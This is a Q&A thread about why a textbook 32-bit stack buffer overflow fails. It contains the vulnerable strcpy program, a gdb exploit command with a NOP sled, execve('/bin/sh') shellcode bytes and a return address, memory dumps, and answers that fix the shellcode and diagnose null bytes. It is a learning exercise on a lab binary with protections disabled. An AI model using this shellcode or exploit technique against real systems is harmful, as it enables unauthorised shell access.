Unable to execute shellcode in basic buffer overflow example

Question

I have a basic example of a program vulnerable to buffer overflow (extracted from this other question).

#include <string.h> void vuln(char *arg) { char buffer[500]; strcpy(buffer, arg); } int main( int argc, char** argv ) { vuln(argv[1]); return 0; } 

I will explain my "flow of thought":

My first approach, given that I know the buffer length, was to fill it entirely with "NOPs" (477 bytes) + shellcode (23 bytes) + NOPs + Return address, being the return address the beginning of my buffer.

gdb-peda$ r $(python -c "print '\x90'*477+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*12+'\xfc\xce\xff\xff'") 

Here's the current memory:

0xffffcef8: 0x00 0x00 0x00 0x00 0x90 0x90 0x90 0x90 0xffffcf00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffcf08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffcf10: 0x90 0x90 0x90 0x90 0x00 0x90 0x90 0x90 0xffffcf18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 ... 0xffffd0d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd0d8: 0x00 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0xffffd0e0: 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0xffffd0e8: 0x50 0x53 0x89 0xe1 0xb0 0x0b 0xcd 0x80 0xffffd0f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd0f8: 0x90 0x90 0x90 0x90 0xfc 0xce 0xff 0xff 

1) Last 4 bytes are the address that will be written to EIP, no problem with this.

2) In order to make my shellcode works properly, it should start in the beginning of a WORD. In 0xffffd0d8 there's an unremovable 0x00 which does not get overwritten by the buffer overflow. It occurs several times in the buffer, and for what I've read is due to a loop behaviour in the strcpy.

3) In this situation, I guess I need to find another space to write my shellcode, with no "0x00" smashing it.

It seems that there's room for the shellcode just at the beggining of the buffer (0xffffcefc), so I change the buffer

gdb-peda$ r $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*477+'\x90'*12+'\xfc\xce\xff\xff'") 

and I ensure that the shellcode is correctly written into memory:

gdb-peda$ x/10i 0xffffcefc => 0xffffcefc: add al,al 0xffffcefe: push eax 0xffffceff: push 0x68732f2f 0xffffcf04: push 0x6e69622f 0xffffcf09: mov ebx,esp 0xffffcf0b: push eax 0xffffcf0c: push ebx 0xffffcf0d: mov ecx,esp 0xffffcf0f: mov al,0xb 0xffffcf11: int 0x80 gdb-peda$ 

But when I run the code, even if the shellcode commands are executed, it crashes in the following "0x00" byte at 0xffffcf14, and no shell is spawned.

gdb-peda$ continue Continuing. Program received signal SIGSEGV, Segmentation fault. Stopped reason: SIGSEGV 0xffffcf14 in ?? () gdb-peda$ x/10i 0xffffcf11 0xffffcf11: int 0x80 0xffffcf13: nop => 0xffffcf14: add BYTE PTR [eax-0x6f6f6f70],dl 0xffffcf1a: nop 0xffffcf1b: nop 0xffffcf1c: nop 0xffffcf1d: nop 0xffffcf1e: nop 0xffffcf1f: nop 0xffffcf20: nop gdb-peda$ x/10xb 0xffffcf14 0xffffcf14: 0x00 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffcf1c: 0x90 0x90 gdb-peda$ 

The code has been compiled by using:

gcc -m32 -z execstack strcpy_ex.c -fno-stack-protector -o strcpy

and, of course, ASLR is disabled.

Additional info:

# uname -a Linux kali 4.9.0-kali4-amd64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux 

I'm a newbie in exploitation, but I thought this to be a simple exercise and it's giving me some headaches... Can anyone help me to figure out the right way to exploit this buffer overflow?

Answer 1

I see two problems, besides the null byte problem which I'm unable to reproduce (on an Ubuntu 18.04 virtual machine).

1. The add al,al instruction at the start should be xor eax,eax. The weird thing is that the bytes \x31\xc0 which are at the start of your shellcode actually is the xor eax,eax instruction. If the \x31 is getting replaced with \x00 somehow, like you mentioned is happening elsewhere, that would turn it into an add instruction.

2. You're not setting the third argument for the execve system call. This can be done by setting the edx register to esp right after pushing 0x00000000 onto the stack.

   xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx,esp push eax mov edx,esp ;set the envp argument push ebx mov ecx,esp mov al,0xb int 0x80 

As for the null byte problem, that is very strange because it sounds like there are null bytes in the actual buffer after it is written to by strcpy, which should not be happening. I would set a breakpoint immediately after the call to strcpy in assembly and inspect the buffer memory. Maybe you've already done this but use the debugger and make sure that the null bytes aren't creeping in somehow after the copying takes place.

Answer 2

I have a problem with your shellcode:

• EAX and ECX are registers that may contain cruft (volatile-registers) depending on adherence to calling convention (platform specific application binary interface), might as well get in the habit of XOR'ing them
• what's in EBX when your shellcode runs? It may contain stuff as its a non-volatile register. XOR it too
• You put 0xB into EAX but you never push it onto the stack before calling Int 0x80 to (execve()), so you never make a valid syscall as you lack all the arguments!

ONCE YOU FIX THE ABOVE

If you fix those issues and still experience this, then from your description it crashes on a null byte (which is what strcpy(3) is expecting), so it sounds like a case of a bad character!

I would try testing for bad characters. Peter Van Eeckhoutte has a great writeup that already covers this, but if you're like me and lazy, replace the null byte (0x00) with the break on debugger byte (0xCC).

Once it breaks, if all of the previous instructions were executed as expected for your shellcode, you could add another nop (0x90) or replace the null byte with a RETN

If that causes an issue, since the interrupt (Int 0x80) is a single byte, you can also replace it and the null byte at the end with 0xEBFE for a JMP -2 endless loop to break on.